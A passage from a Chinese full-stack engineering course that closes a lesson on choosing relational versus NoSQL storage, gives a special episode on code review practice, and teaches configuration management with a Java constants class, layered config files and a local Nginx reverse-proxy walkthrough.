2. 是否具备明确的 schema 定义，是否需要支持关系查询和事务？如果有一项回答“是”，优先考虑关系数据库。

关系数据库，首当其冲的特点就是“关系”。因此，可能会有朋友说，不对，电商网站的“商品”其实 schema 是不确定的啊——例如，服装一类商品，都有“尺寸”信息；而电器类呢，都有“功率”信息，这样特定类型的属性决定了商品很难被抽象成某一个统一的表啊。

没错，但是为什么要做到如此牵强的“统一”？通用的商品属性，例如厂家、商品唯一编号当然可以放到“统一”的商品表里面，但余下的信息还是可以根据商品类型放到各自类型的特定表里面，这就好像基类和派生类一样，抽象和统一只能做到某一个层次，层次太高反而不利于理解和维护。

对于一些需要事务的需求，例如订购，往往需要关系数据库的支持。当然，这只是多数情况，NoSQL 也有例外，即允许选择 CAP 中的 CP，具备强一致性且支持事务机制的，例如 DynamoDB。

而有一些系统和数据，则变化很大。比如用户数据，在多数情况下，schema 往往是比较明确的，而且数量上也没有订单等数据一般有特别大的伸缩性要求，因此往往也放到关系数据库里面；但是，在另外一些系统中，用户信息的组成不确定，或者说，schema 不确定，用户信息会放到 JSON 等松散结构的文本中，这种情况下文档数据库也是一个常见的选择；但是在搜索等某些相关功能的实现上，可能又会使用搜索引擎等不同于上面任一者的其它方式。

3. 如果符合结构不定（包括半结构化和无结构化）、高伸缩性、最终一致性、高性能（高吞吐量、高可用性、低时延等）的特点和要求，可以考虑非关系数据库。

简单来说，这时的具体技术选择，可以按照这样两个步骤来落地：

如果你还记得 [第 24 讲] 中介绍的那个 NoSQL 三角，根据一致性、可用性的要求，我们可以选择这个三角中的某一条边；

而在 [第 25 讲] 中则介绍了具体的 NoSQL 技术的分类和适用的问题类型，可以依其做进一步选择，比如根据数据结构化的程度，在那条边上，来进一步选择某一类 NoSQL 的存储技术。

比如说，这个电商问题中提到的媒体数据，即图片和视频，通常来说可用性更为重要，而这一类的大文件，没有内部的 schema，可以考虑使用擅长存放无结构大对象的文档型数据库。当然，也可以直接存放为文件，利用 CDN 的特性同步到离用户更近的节点去，特别对于视频来说，要提供好的用户体验，砸钱到 CDN 服务几乎是必选。

再比如，商品页在很大程度上都是可以缓存的，而缓存基本上都是为了保证可用性而会牺牲一定的一致性。除了上面介绍的 CDN 实现了对媒体内容的缓存以外，商品页本身，或是大部分区域的信息，都是可以利用 Memcached 等缓存服务缓存起来的。

总结思考

到这一章末尾，我们对于数据持久层的介绍就完结了。不妨来回顾一下，设计持久层，都有哪些需要考虑的方面呢？

首先，是代码层面的设计：

提供数据服务的设计，即 MVC 中模型层的设计，你可以阅读 [第 08 讲] 来复习回顾；

对于模型到关系数据库的映射（ORM）和技术选择，在 [第 12 讲] 的加餐部分有所介绍；

其次，是系统层面的设计：

持久层内部或者持久层之上的缓存技术，请参阅 [第 21 讲] 和 [第 22 讲]；

对于持久化的核心关注点之一 ——一致性，包括存储系统扩容的基础技术一致性哈希，请参阅 [第 23 讲]；

关于分布式数据存储涉及到的 CAP 理论和应用，以及相关的 ACID、BASE 原则，请参阅 [第 24 讲]；

持久层存储技术的选择，你可以阅读 [第 25 讲] 来回顾，更进一步地，今天这一讲提供了一些具体问题实例和技术选择的思路。

希望通过这些内容的学习，你的持久层部分的知识，可以形成体系，而非零零散散的一个个孤岛。

最后，在这里我留一下今天的作业，这是一个开放性的思考题：

假如说，你要实现一个简化了的微信聊天功能，用户可以一对一聊天，也可以加好友，那么，你该怎么选择技术，并怎样设计持久层呢？

好，今天的内容就到这里，希望你在阅读后能有所收获。关于本章的内容，如果有想法，欢迎和我讨论。

扩展阅读

文中介绍了倒排索引，感兴趣的话你可以进一步阅读搜索引擎是如何设计倒排索引的？

文中介绍了 GeoHash，在 geohash.org 的网站上，可以通过给出经纬度坐标，在地图上找到这个实际位置。感兴趣的话，还可以进一步了解：本质上，类似这种二维到一维的降维方式，都属于空间填充曲线 ，比如说最有名的希尔伯特曲线。

Sharding 和 Partitioning 是在数据库中常见的“拆分”方式，文中也提到了，但是这两个概念经常被混用，具体含义你可以参考维基百科 Shard 和 Partition。

有一篇介绍 Twitter 怎样应用推、拉模式，处理和存储消息，应对高访问量的文章，相应的，微博的技术专家也写了一篇文章来介绍微博的处理方式，你可以比较阅读。

27 | 特别放送：聊一聊代码审查

你好，我是四火。

又到了特别放送时间，今天我想聊一聊代码审查（Code Review）。在软件工程师日常的开发工作中，如果要挑出一项极其重要，却又很容易被忽视的工作，在我看来代码审查几乎是无可争议的第一。

代码审查是一个低投入、高产出的开发活动，就我个人而言，我从其中学到的习惯、方法和知识，让我获益匪浅。但是，我也在微博、微信上看到程序员朋友们争论代码审查的必要性，甚至包括很多大厂的程序员，还有一些有着许多年经验的程序员。

一开始我觉得有些不可思议，和代价相比，代码审查的好处实在太多了，这有必要费那么大心思去讨论这个必要性吗？后来我意识到，造成这个争论的原因，既包括缺乏对于代码审查好处的认识，也包括一些因果逻辑上的混淆。我想，今天的特别放送，我就来把代码审查这个事儿聊清楚，希望它能成为你日常开发工作当中认真对待的必选项。

那值得一提的是，对于全栈工程师而言，代码审查又有一点特殊性。因为我们经常要写多个层面的代码，包括前端代码 HTML、CSS、JavaScript，后端逻辑，比如 Java 或者 Python，还很可能写很多的脚本代码，比如 Shell，做各种各样的配置，像是和基于 XML、JSON 的配置文件打交道，还很可能使用 SQL 写持久层的逻辑。这些代码中，既包括命令式的代码，也包括声明式的代码。由于涉及到的代码类型比较广泛，代码审查者就自然会和不同的团队或项目中的角色打交道，也需要在不同的思维模式之间来回切换。

代码审查的流程

先来简单介绍一下常见的代码审查的流程。为了开发某个新特性，或者修复某个特定问题，负责的程序员会从代码库的主分支（master branch）上面建立并 check out 一个新的分支，将工作分为一次到若干次的“代码变更”来提交。这每一次的代码变更，都可以组成一次代码审查的单元，有的公司把它叫做 CR（Code Change），有的叫做 PR（Pull Request），还有的叫做 CL（Change List），但无论叫做什么，它一般至少包含这么几项内容：

帮助理解代码的描述，如果有问题单（任务）来跟踪，需要包括相关的问题单号或者问题单链接；

实际的代码变更主体，包括实际的代码和配置；

测试和结果，根据项目的情况，它可以具备不同形式，比如单元测试代码，以及手工测试等其它测试执行的结果说明。

多数情况下，以上这三项都不可或缺，缺少任何一项都会让代码变更失去一定可审查的价值。

进行审查的，一般是一起工作的，对代码涉及变更熟悉的其他程序员。这个“熟悉”，既包括业务，也包括技术，二者当中，有一项不具备，就很难做好审查工作，给出有建设性的审查意见。

接下去的交互就在这个代码变更上面了，审查者会提出其问题和建议，变更的作者会选择性采纳并改进变更的描述、代码主体以及测试。双方思考、争辩，以及妥协，目的都是寻求一个切合实际且可以改进代码质量的平衡。

如果审查的程序员觉得代码没有太多问题，就会盖上一个“Approved”或者“Shipped”戳，表示认可和通过。这根据项目而定，一般代码变更最少要得到 1~3 个这样的认可，才可以将代码变更合并（merge）到主分支。而主分支的代码，会随着 CI/CD 的流程进入自动化的测试程序，并部署上线（关于这部分你可以参阅 [第 30 讲]）。

常见的争议

在介绍代码审查的好处之前，我想先来谈谈争议。因为我观察到大多数的争议，都不是在否认代码审查的好处，而是聚焦在不进行代码审查的那些“原因” 或者 “借口”上，而有些讽刺的是，我认为这里面大部分的“原因”，所代表着的因果关系并不成立。

1. 加班要累死了，完成项目都来不及，还做什么代码审查？

类似的问题还有，“代码审查拖慢了进度”，“代码审查不利于快速上线”。这是最常见的不做代码审查，或者草草进行代码审查的理由了，但是稍稍一细想，就会发现这里的因果逻辑完全不对。

这就像以前国内大兴“敏捷”的时候，有好多程序员，甚至项目经理，觉得因为项目时间紧才要实施敏捷，因为可以少写文档，少做测试，随意变更需求，可这里的因为所以根本是牛头不对马嘴。我记得知乎上有句流行的话叫做，“先问是不是，再问为什么”，这里也可以用，因为项目压力大就让“不做代码审查”来承担后果，这实在是过于牵强了。

项目压力大，时间紧，可以草草做分析，不做设计，直接编码，不做重构、不做测试、不做审查，直接上线，快及一时，可是造成的损失，最后总是要有谁来背锅的。这个锅很可能，就是上线后无尽的问题，就是恶性循环加班加点地改问题，就是代码一个版本比一个版本烂。当这些问题都焦头烂额，就更不要说团队和程序员的成长了。

2. 代码审查太费时间，改来改去无非是一些格式、注释、命名之类不痛不痒的问题。

这也是个逻辑不通的论述，虽然这个还比前面那个稍微好一点。只能提出这些“次要问题”，很可能是代码审查的能力不够，而并非代码审查没有价值；或者是代码审查的力度不够，只能提出一些浅表的问题，这个现象其实更为普遍。

前面已经介绍过了，一是技术，二是业务，二者缺一都无法做出比较好的审查。在某些特殊情况下，有时候确实不具备完备的代码审查条件，我们现在来分业务、技术欠缺的情况进行讨论。

如果团队中有业务达人，但是技术能力不足。比如说，新版本使用的是 Scala 来实现的，但是团队中没有精通 Scala 的程序员，这个时候可以寻找其它团队有 Scala 经验的程序员来重点进行技术层面的代码审查，而自己团队则主要关注于业务逻辑层面。当然，既然是自己团队的代码，所用到的技术要慢慢补起来。

如果团队的成员具备技术能力，但是业务不了解。这种情况也可以进行将业务和技术分开审查这样的类似处理，但是如果业务相对复杂，可以先开一个预审查会，就着代码或者设计文档，简单地将业务逻辑介绍和讨论清楚，再进行审查。

3. 团队的习惯和流程就是不做代码审查，大家都是这么过来的。

我觉得这也不是一个论述不应该做代码审查的正当理由，类似的还有“绩效考评又不提代码审查”，以及“我上班、码代码、下班、拿钱，审查代码干什么”。大家都不做，并不代表不做就是正确的，如果你赞同代码审查的好处和必要性，那么你的思考会告诉你，应该做这件事情，大家不做并不是一个理由。

如果你发现这件事很难推动，你可以尝试去和你的项目经理聊一聊，或者结合自己的项目以及下面会讲到的代码审查的好处论一论，看看是不是能说服那些没有意识到代码审查好处的程序员和项目经理。当然，这是另外和人沟通以及表达自己观点的事情，如果大家都是朴素的干活拿钱的观点，没有对于代码质量和个人发展更高的追求，或者价值观和你相距十万八千里，改变很困难，你就应该好好思考是不是应该选择更好的团队了。

4. 代码审查不利于团建，因为经常有程序员因为观点不同在代码审查的时候吵起来。

这依然不是一个正当理由，这就好像说“因为开车容易出交通事故，所以平时不允许开车”这样荒谬的逻辑一样。

首先，如果有偏执的不愿意合作的程序员，那么不只是代码审查，任何需要沟通和协作的活动都可以把争吵的干柴点燃。对于这样的程序员的管理，或者如何和这样的程序员合作，是另外的一个话题，但这并不能否认代码审查的必要性。当然，在下文讲到实践的部分我会介绍一些小的技巧，帮助你在代码审查中心平气和地说服对方。

其次，有控制的一定强度内的争执，未必是坏事。有句话叫做“理越辩越明”，除了能做出尽可能合理的决定以外，在争论的过程中，你还会得到分析、思考、权衡、归纳、表达，乃至心理这些综合能力的锻炼，本来它们就不是很容易得到的机会，我们为什么还要放过呢？

代码审查的好处

下面我们来谈谈代码审查的好处。你可能会想，这有什么可谈的，这好处难道不是发现软件 bug，提高代码质量吗？

别急，代码审查的好处可远远不止这一个，我觉得它还至少包括下面这些好处。

1. 代码审查是个人和团队提升的最佳途径之一。

这里的学习，既包括技术学习，也包括业务学习。和英语学习一样，如果只听 BBC 或者 VOA 的纯正口音，没有任何语法错误，英文反而不容易学好，学英文就要接触生活英语，各种口音，各种不合标准的习惯用法。阅读代码也一样，要学习不同的代码风格和实现。

在做代码审查的时候，如果不理解代码，是无法给出最佳审查的。因此自己会被迫去仔细阅读代码，弄懂每一行每一个变量，而不是给一个 LGTM（“Looks Good To Me”）了事。

2. 代码审查是团队关系建设和扩大双方影响力的有效方式。

争论是这个过程中必不可少的一环，争论除了能加深对于问题和解决方法的理解，在不断的反驳和妥协中，也能树立影响力，建立良好的关系。另外值得一提的是，代码审查可不是说非得给别人挑刺儿，对于做得特别漂亮的地方，要赞扬，这也是建立良好关系的一种途径。从团队合作和交流的角度来说，程序员往往缺乏沟通，每个人不能只专注于自己的那一份代码默默耕耘，而是需要建立自己的影响力的，代码审查过程中的交互，就是一个不可多得的方式。

3. 识别出设计的缺陷，找到安全、性能、依赖和兼容性等测试不易发现的问题。

代码审查在整个软件工程流程中还算早、中期，尽早发现问题就能够尽可能地减少修复问题的成本。而且，代码审查能够发现的问题，往往是其它途径不易发现的。因此，从这个角度来讲，代码审查要有方向性，比如主流程和某些重要用例，在审查的时候可以要求代码变更的程序员提供单元测试，或者是手工覆盖的测试结果，这样就可以认定这些分支覆盖到的逻辑是正确的，不需要在审查时额外关注。

4. 设立团队质量标杆的最佳实践方式。

在我经历的团队中，基本上代码审查做得好的，代码质量都高。这不见得是程序员的能力特别出色，而是通过代码审查把这个质量的 bar 顶起来了。你可以想象，一个对别人的代码颇为“挑剔”的人，他会对自己的代码截然相反地糊弄了事，睁一只眼闭一只眼吗？特别对于刚踏入职场的程序员来说，这点尤为重要，要知道一个人刚工作的两三年，对性格、习惯这些关乎职业生涯因素的影响是巨大的，一个好的标杆比任何口号都有效。

一些小技巧

最后我们来谈一些小技巧，来帮助这个代码审查的过程顺利进行。

1. 每次变更所包含的代码量一定要小。

这一点很重要，代码变更是要给人看的，因此确保变更足够小，能够让它容易理解，审查代码的人，也不会觉得疲劳和有压力。代码清楚了，审查也就可以有效地进行，也更容易得到通过和认可。如果预计代码量大怎么办？可以尝试将其分解成若干个小的变更，一个一个提交。

2. 让团队中的“牛人”在代码审查中发挥作用。

团队中的核心成员，可以相对来说少做一点实现，多在设计上做一点参与和决策，多把握代码审查这一环节。以前我在某一个团队中，总代码超过了六十万行，我们实施过这样一种管理方式，将代码划分为几个大的模块，每一模块都指定一个技术责任人，他会对该层代码全面负责，所有的代码变更都要经过他的审查。

3. 变更代码的质量要超过当前代码库的平均水准。

代码的审查意见有“建设性意见”和“次要意见”之分，那么那些“次要意见”，例如格式、注释、命名，到底做到什么层次，就会成为一个争论的话题，要求低了代码质量接受不了，而要求高了又会拖慢开发进度。我觉得，这种情况下，可以遵循这样的判断标准：看新提交的代码会让当前的代码库代码质量更高了，还是更低了，只有高于当前项目平均质量的代码才能合并入主分支。

4. 新员工代码，骨架代码的代码审查要更为严格。

对于新员工的代码审查可以稍微严格一些，这有助于培养良好的质量意识和习惯，前面已经提到了，这对于职业生涯都是有益的。“骨架代码”指的是那些与项目业务无关的架构代码，这部分代码从技术的层面来说更加重要，往往也很考验代码功底，代码审查可以更严格一些。

5. 及时表达肯定，委婉表达意见。

只针对代码，不针对人。这听起来很简单，都知道对事不对人的重要性，但是要非常小心不能违背。审查并不是只提反面意见的，在遇到好的实现，不错的想法的时候，可以表示肯定，当然这个数量不宜多，要不然适得其反。至于表达意见方面，我来举几个例子：

对于一些次要问题，我都会标注这个问题是一个 picky 或者 nit 的问题（“挑剔的问题”）。这样的好处在于，明确告知对方，我虽然提出了这个问题，但是它没有什么大不了的，如果你坚持不改，我也不打算说服你。或者说，我对这个问题持有不同的看法，但是我也并不坚信我的提议更好。

使用也许、或许、可能、似乎这样表示不确定的语气词（英文中有时可以使用虚拟语气）。这样的好处是，缓和自己表达观点的语气。比如说：“这个地方重构一下，去掉这个循环，也许会更好。”

间接地表达否定。比如说，你看到对方配置了周期为 60 秒，但是你觉得不对，但又不很确定，你可以这样说：“我有一个疑问，为什么这里要使用 60 秒而不是其他值呢？” 对方可能会反应过来这个值选取得不够恰当。你看，这个方式就是使用疑问，而非直接的否定，这就委婉得多。

放上例子、讨论的链接，以及其它一些辅助材料证明自己的观点，但是不要直接表述观点，让对方来确认这个观点。比如说：“下面的讨论是关于这个逻辑的另一种实现方式，不知你觉得如何？”

先肯定，再否定。这个我想很多人一直都在用，先摆事实诚恳地说一些同意和正面的话，然后用“不过”、“但是”和“然而”之类的将话锋一转，说出相反的情况，这样也就在言论中比较了优劣，意味着这是经过权衡得出的结论。

6. 审查时，代码要过两遍，第一遍抓主要问题，第二遍看次要问题。

代码过两遍的好处在于，可以把代码中的问题有层次地提出来。第一遍的时候，搞清楚代码大致的机制、原理、结构，这样有大的建设性问题可以提出来，等待修复或达成一致。根据第一遍的情况来决定需不需要过第二遍，如果没有大的分歧，可以过第二遍。这第二遍就可以非常仔细了，包括可以提出一些细节问题，也包括格式和命名之类的次要问题。总结一下就是，这种方式的最大好处就在于可以让大的问题被单独提出来，优先解决，让问题的讨论和解决有了层次。

总结思考

今天的特别放送就到这里，在今天的内容中，我结合自己的经历，向你介绍了代码审查的方方面面，主要涉及了“为什么要做代码审查”以及“怎么样做代码审查”这两个方面。

最后留一个小问题吧，欢迎在留言区一起讨论。

你所在的技术团队代码审查是怎么做的，你有没有什么代码审查上的小技巧愿意分享一下呢？

28 | Ops三部曲之一：配置管理

你好，我是四火。

欢迎进入第五章：寻找最佳实践。本章我们会讲到 Ops，由于 Ops 的范围实在太广了，因此从今天开始，接连三讲，我们会讨论 Ops 的三个常见话题，今天要谈的就是其中的第一个——配置管理。

我们总在谈论 Ops，所谓 Ops，指的就是 Operations，如果你专门去搜索，你恐怕也很难找到一个准确的定义。在中文翻译上看，“运维”这个词用得比较多，但是我认为 Ops 的含义明显更为广泛。我的理解是，和实际的软件开发和质量保证相对应的，环境搭建、配置管理、自动化流程、部署发布，等等的实践活动，无论线上还是线下，无论它们是在开发测试环节还是产品发布环节，都可以算作 Ops。

当然，我们并不需要执着去找出 Ops 和开发、测试的分界线，它们实际是互有重叠的，我觉得维基百科上的这张图就很好地展示了这一点。

我想很多程序员不喜欢 Ops，也不愿意谈 Ops，这都可以理解，毕竟，和开发本身比起来，它没有那么多的创造性，有时甚至属于“重要但无趣”的工作。但是，我必须要强调的是，不只对于全栈工程师而言，Ops 能力对于每一个通常意义上的软件工程师来说，都是必须要锻炼的重要方面。

需要明确的是，我今天要讲的配置管理，我认为就是 Ops 的一个重要部分，它关注的是软件代码以各种形式，在项目的各个阶段存在的配置。几乎每个做运维的人都要经常去修改大量的线上配置，无论是来自操作系统还是应用本身。这个话题很少有人谈及，但却存在于每个程序员的日常工作中。

常见的配置方式

在实际的项目开发过程中，当我们讲到“配置”的时候，其实隐含了许多不同的方式，这些方式有时候看起来差不多，实际却有着最适合的场景。

1. 源代码中的常量

代码常量是一种最典型的配置方式，它的特点是定义和使用方便，且只对开发人员友好。每次变更的时候，都需要改动代码，经过一定的测试和 Code Review，之后还要通过指定流程的部署，才能发布到产品线上。

通常来说，项目中常量类的定义有着明确的规约，比如这样的示例代码：

public final class ProductConstants {
    private ProductConstants() {}

    public static int MAX_NUMBER = 9999;
    public static String DEFAULT_CODE = "123";
}

你看，上面的常量类包含的要点有：

类名直白且具体，这个 Product 修饰很重要，避免了过于一般化的常量类定义，从而限制了它的职责范围；而这个 Constants 则说明了类的属性，一眼就知道它是干什么的。

被定义为无法实例化的（即将构造器私有化），无法被继承的（即使用 final 修饰）。

常量都使用 public static 修饰，这样就可以直接访问，而不需要实例化这个类。

值得一提的是，在我参与过的项目中，有的程序员为了强制编码的时候只能定义 static 属性来表示常量，会使用 interface 这样的方式，即使用接口来存放常量。效果自然是能达到的，但是这个方法有些投机取巧（毕竟和 interface 关键字所应该表示的含义有明显偏差了），我认为这是一种反模式。

2. 代码中的配置文件

代码中的配置文件也很常见，它们从 Java、Python 这样的编程语言中脱离出来，但是依然作为源代码的一部分而存在。那为什么要这样做呢？

简单来说，就是为了“解耦”。

而就是这个“解耦”，带来了诸多好处。例如最小职责，单一职责，即配置文件做且只能做配置；再例如可以将同一类的资源放在更合适的地方统一管理了。

举例来说：

MessagesBundle_en_US.properties
MessagesBundle_fr_CN.properties
MessagesBundle_de_DE.properties

你看，这样的 i18n（Internationalization）的特定语言的资源文件，就从编程语言的代码中独立出来了，更容易统一管理和维护。

这种把相关代码或配置单独拿出来的方式，不知道你能否联想到我们在 [第 10 讲] 中介绍的 MVC 控制器各个子功能的配置方式，当时不但讨论了横向和纵向两种实现形式，还讨论了各自的优劣，如果忘记了的话，你可以阅读回顾一下。比如 URL 映射，既可以通过注解的方式，和实际的 Controller 代码放在一起；也可以通过 XML 配置的方式，从 Java 代码中拿出去。

3. 环境配置文件和环境变量

接着我们来讲讲环境下的配置。这里的“环境”（Environment），指的是代码部署的环境，可以是用于开发的笔记本电脑，也可以是生产线上的机器。对于不同的环境，虽说代码是同一份，但是可以通过不同的环境配置文件和环境变量，让代码执行不同的逻辑。

举一个环境配置文件的例子，例如环境下有这样一个文件，定义了这个环境所属的“地区”，而通过这个地区，可以从代码中寻找到相应正确的配置文件来读取配置：

/etc/region

在某些系统中，这样的配置可以通过一个 web 工具指定，并通过一定的部署工具将其同步到目标环境中去。

还有一种类似的方式是环境变量，环境变量和环境配置文件，有时允许同时存在，但是有一定的优先级顺序。比如说，如果环境变量使用 REGION 也指定了上述文件中的 region，发生了冲突，这就要根据优先级的关系来决定使用哪一个配置，通常来说，环境变量比环境配置文件优先级更高。

那为什么要允许配置不同方式的覆写呢？这是为了给应用的部署赋予灵活性，举例来说，/etc/region 已经确定了值为 EU（欧洲），那么如果需要在该物理机器上部署两份环境 ，第二份就可以通过环境变量 REGION 强制指定为 NA（北美）。

4. 运行参数

运行参数，可以说是最为具体的一种配置方式，真正做到了应用级别，即一个应用可以配置一个参数。这种情况其实对于开发人员来说非常熟悉，比如在项目中应用 log4j2 这个日志工具时，启动应用的 java 命令上，增加如下参数：

-Dlog4j.configurationFile=xxx/log4j2.xml

通过这样的运行参数指定的方式，指定 log4j2 配置文件的位置。

当然，也可以通过规约优于配置的方式，不显式指定位置，而在 classpath 中放置一个名为 log4j2.component.properties 的文件，里面指定类似的配置，而 log4j2 在系统启动的时候可以自动加载。

5. 配置管理服务

常见的配置方式中，我们最后来讲一下配置管理服务。尤其对一个较大的系统来说，配置管理是从整个系统的层面上抽取并统一管理配置项的方式。通常来说，这样的配置管理系统会被包装成一个服务，当然，也有少数是单纯放到数据库的某张表里，不过这种数据库访问层面的耦合通常并不推荐。

一旦配置管理成为了独立的服务，就说明这个系统已经复杂到一定程度了，通常也意味着这个服务的用户，不再只是开发人员了，往往还有运维人员，甚至是一些非技术的管理人员。

配置的层级关系

资源文件，本质上也算是代码的一部分，通过合理的设计，可以让资源文件具备编程语言代码一般的继承关系。比如这样的配置文件组织结构：

conf/rules.conf
conf/CN/rules.conf
conf/CN/Zhejiang/rules.conf
conf/US/rules.conf

conf 目录下，rules.conf 文件就像是基类，存放了默认的规则配置；下面的 CN 目录下的 rules.conf 则存放了中国区的增量配置，就像是子类，里面的配置项优先级高于“基类”的配置，起到一个有选择性地覆写的作用；而再下面的 Zhejiang 目录下的 rulels.conf 则表示浙江省的规则配置，优先级更高。

在这种方式下，配置代码不但清晰易懂，而且减少了重复，易于维护。

规约优于配置

不知道你是否还记得我们在 [第 10 讲] 中介绍过的“终极偷懒大法”——规约优于配置（CoC，Convention over Configuration）。在这种方式下，系统和配置的用户会建立“隐性的契约”，通过遵从一定的规则，比如命名规则，达到自动应用配置的目的。

当时我们举了一个 Spring 的 ControllerClassNameHandlerMapping 的例子来说明，现在我们来举另外一个 Grails 的例子。这里使用 Grails 举例，是因为 Grails 是我接触过的应用 CoC 原则应用得最好的 Web 应用框架了，使用它搭建起一个 Web 应用极其简洁。如果你使用过 Spring Boot 并对它印象还不错的话，你可以尝试这个将快速和简洁履行得更为彻底的 Grails。

class BooksController {
    def index() { ... }
}

你看，如此简单的控制器定义，就可以自动把路径为 /books 的请求映射到 index 方法上，通过规约将 BooksController 映射到 /books 上，而 index 又代表了默认的 GET 方法的访问。

配置模板

对于某些复杂或灵活的软件系统来说，配置会变成实际上的 DSL（Domain Specific Language），复杂程度可以不亚于一门编程语言写的代码。于是，有一种常见的帮助使用者理解和修改配置的方法就出现了，它就是创建配置模板，写好足量的配置默认值和配置说明，这样使用者就可以复制一份模板，并在其之上按需修改，比如 Nginx 的配置模板。

Nginx 是一个高性能的反向代理服务器，反向代理可以挡在 Web 服务器前面响应用户的请求，根据不同的规则来处理请求，比如认证、限流、映射到其它路径，访问特定的服务器等等，将这些复杂的访问逻辑和服务器节点都隐藏起来，给用户提供一个单一的 IP 地址。

下面我们来动动手，亲自配置一下 Nginx 并让它工作起来。

在 Mac 上你可以使用 brew 来安装 Nginx，或者去官网上找一个适合的版本下载安装：

brew install nginx

在安装成功以后，你应该能看到命令行输出了默认 Nginx 配置文件的位置，例如 /usr/local/etc/nginx/nginx.conf。现在打开看一下，你会发现它本质上就是一个配置模板，有些配置选项为了便于程序员理解和使用，使用注释包围起来了。在同一路径下，还有一个 nginx.conf.default 作为备份和参考。

还记得在我们在 [第 12 讲] 中自己动手配置的过滤器吗？确认一下它还能正确运行：

catalina run

接着访问 http://localhost:8080/books?category=art，你应该能看到类似如下的输出：

Category name: art, date: 2019-10-4 Count: 1

好，如果能正确运行，我们继续往下；否则，请回头看看那一讲是怎样把这一个过滤器配置起来的。现在我们根据前面提示的 Nginx 配置文件的路径来稍加修改，比如，把 http 部分的 #access_log 开始的一行修改为类似如下路径：

access_log  /logs/nginx_access.log;

接着打开一个新命令行窗口运行：

tail -f /logs/nginx_access.log

这样就可以监视 Nginx 的请求访问日志了。

继续修改配置文件，在接下去的 server 部分，将开头部分的 listern、server_name 修改为如下配置，表示同时捕获访问 localhost 的 80 端口和 9000 端口的请求：

listen 80;
listen 9000;
server_name  localhost;

紧接着，在它下方增加路径映射的配置：

location ~ /books.* {
    proxy_pass  http://localhost:8080;
}

这表示如果 URI 是以 /books 开头，就映射到 8080 的端口上面去。

好了，如果是第一遍启动 Nginx，你可以直接执行 sudo nginx，如果已经启动，但是修改了配置文件，你可以重新加载 sudo nginx -s reload。

现在，去访问如下两个链接，你都应该看到前面见到的那个熟悉的页面：

http://localhost/books?category=art
http://localhost:9000/books?category=art

这证明端口映射成功了，并且，切换回访问日志的那个窗口，你应该可以看到类似这样的访问日志：

127.0.0.1 - - [04/Oct/2019:20:36:43 -0700] "GET /books?category=art HTTP/1.1" 200 46 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36"

总结思考

今天我们介绍了 Ops 中配置管理的一些常见的方式，以及一些配置文件常见的组织形式。内容本身并不复杂，也没有介绍配置文件的格式（它在后面的文章中会有介绍），但是配置管理确实是程序员每天都在打交道的对象，自然全栈工程师也不例外，遵从好的实践可以养成良好的 Ops 习惯。

现在，提问时间又到了，我来提两个问题吧：

我们今天比较了常见的配置方式，其中一个是使用源代码中的常量，另一个是使用 Web 应用的运行参数，你觉得这两个各有什么优劣，各适合怎样的场景？

有程序员朋友认为，大型 Web 应用应该尽量少用代码层面的配置，而是把这些变化的部分放到独立的配置服务中，这样软件会比较灵活，修改简便，适合各式各样的场景。你觉得这个说法对吗？

好，今天的正文内容就到这里，下面是选修课堂。今天的选修课堂我想继续顺着 Ops 往下谈，来讲一讲程序员的“独立性”，而 Ops，恰好就是独立性的一大标志。

选修课堂：程序员的“独立性”

几乎所有的软件工程师，都会写代码，都会做测试，但是做项目的“独立性”是大相径庭的，这也是容易让人忽略的部分，但却是一个“程序员”向“工程师”蜕变的标志。“独立性”在一定程度上决定了软件工程师的单兵作战能力，而对于全栈工程师来说，尤其如此。我们在技术上精进的同时，也需要提升独立完成项目的能力。而今天我们开始接触的 Ops，恰恰是程序员独立性提升的一个重要部分。我认为，软件工程的“独立性”可以分成这样几个阶段（再次强调一下这并不是从编程能力上来分的）。

第一阶段：编码工作者

拿到详细的设计文档，上面连许多方法接口都定义好了。写一些实现，调用一些既定的 API，然后根据设计文档来实现测试。这种情况很常见，比如在某些外包公司，就是如此。编码能力得到了一定的锻炼，但这扼杀了大部分的创造力，长此以往也许最终只能成为一个熟练工。我相信短期内这是一个可行的选择，但是从程序员成长的角度来看，这个阶段是一定要迈过去的。

第二阶段：需求的独立实现者

拿到了粗略的设计文档，需求和业务也已经大致描述清楚，接下去要做的就是发挥聪明才智把软件设计好，把代码写好，通过测试。在具备简单沟通的基础上，这项工作可以在安静和独立的环境中完成，因为项目经理、架构师和产品经理已经把那些复杂的技术或业务难题搞定了。这样的环境下，可以诞生许许多多代码设计优秀、实现逻辑清晰简洁的程序员，但是这始终只是在做一个“残缺”的项目而已。在大厂，无论国内外，很多程序员新手都是从这个阶段开始的。那从这个阶段开始，Ops 的工作就显山露水了，每天大量的安装、配置、部署工作，无论是在开发还是测试环境。

第三阶段：项目沟通者和管控者

程序员要和产品经理，甚至客户澄清需求；需要自行分析可行性，明确项目中的技术和业务难点；参与决定和管理迭代周期和计划表；组织和参与项目组内运作跟踪会议。编码以外的事情会占用相当多的时间，而且这些时间往往会用在各种沟通上。到了这个阶段的程序员，通常已经成为了团队中的顶梁柱。

第四阶段：从做项目到做产品

从做项目到做产品，区别是什么？做项目只需要做好一次或者很少的几次交付就可以了，而产品，则是要倾注心血于它的整个生命周期。做项目需要更多倾听用户需求，但是做产品更注重思考，思考用户的痛点和产品的定位远重于倾听用户表述，要把更多的精力花在产品定义、设计，思考怎样把技术、业务落地到产品实现上。在发布以后，如果幸运的话，产品会有一个漫长的迭代和维护周期，Ops 工作也很可能成为你的重心，你会把主要的时间都投入到这里。

第五阶段：产品成长的见证人

也许很少人能够参与从零开始，经过创意、市场分析到产品设计的过程。在明确要做什么之前，程序员有大量的时间会花在产品探索性的工作上面。也许会做很多的产品原型，也许某些版本和功能在 A/B 测试之后就被放弃了，更有些产品在流传开来以前就销声匿迹了，或者很快就死在了抄袭和山寨手里。产品的更迭和换代总是千辛万苦，而看得到的部分往往如此简单，但是谁又知道它的历史有多曲折呢？

好，到这里，我想问一下，正在阅读的你，处于程序员“独立性”的哪个阶段呢？

扩展阅读

当 Operation 和 Development 相遇，DevOps 就是它们碰撞产生的火花。你可能已经听过 DevOps 无数次了，但是，如果你并不是很清楚它意味着什么的话，那么我推荐你阅读什么是 DevOps？以及 DevOps: Breaking the Development-Operations barrier 这两篇文章。

文中简单介绍了反向代理，而它是几乎每个基于 Web 的全栈工程师都会接触的，维基百科的页面介绍了它常见的功能。

